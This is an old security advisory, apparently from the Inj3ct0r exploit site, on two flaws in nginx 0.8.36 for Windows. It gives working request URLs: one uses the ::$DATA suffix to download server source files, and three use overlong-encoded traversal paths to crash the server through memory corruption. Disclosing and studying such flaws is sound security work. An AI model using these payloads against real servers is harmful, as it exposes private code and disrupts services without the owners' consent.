nginx 0.8.36 Source Disclosure and DoS Vulnerabilities
Posted on 11 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>nginx 0.8.36 Source Disclosure and DoS Vulnerabilities</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================================== nginx 0.8.36 Source Disclosure and DoS Vulnerabilities ====================================================== Issue 1: (Remote Source Disclosure) - Description - nginx 0.8.36 is a multi platform HTTP server. This vulnerability exists in the latest Windows version of the application available. nginx on Windows is vulnerable to a remote source disclosure attack. - Technical Details - (Source Download) http://[ webserver IP][:port]index.html::$DATA Issue 2: (Remote DoS (w/ Memory Corruption)) - Description - nginx 0.8.36 (Windows) does not seem to handle encoded directory traversal attempts properly. The corrupted registers in the crash dump seem to be loaded with damaged path variables. - Technical Details - (Remote DoS) http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%20 http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%20 http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%20 These three attempts will overwrite memory registers with different parts of the internal path based on where they try and traverse to. # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-11]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
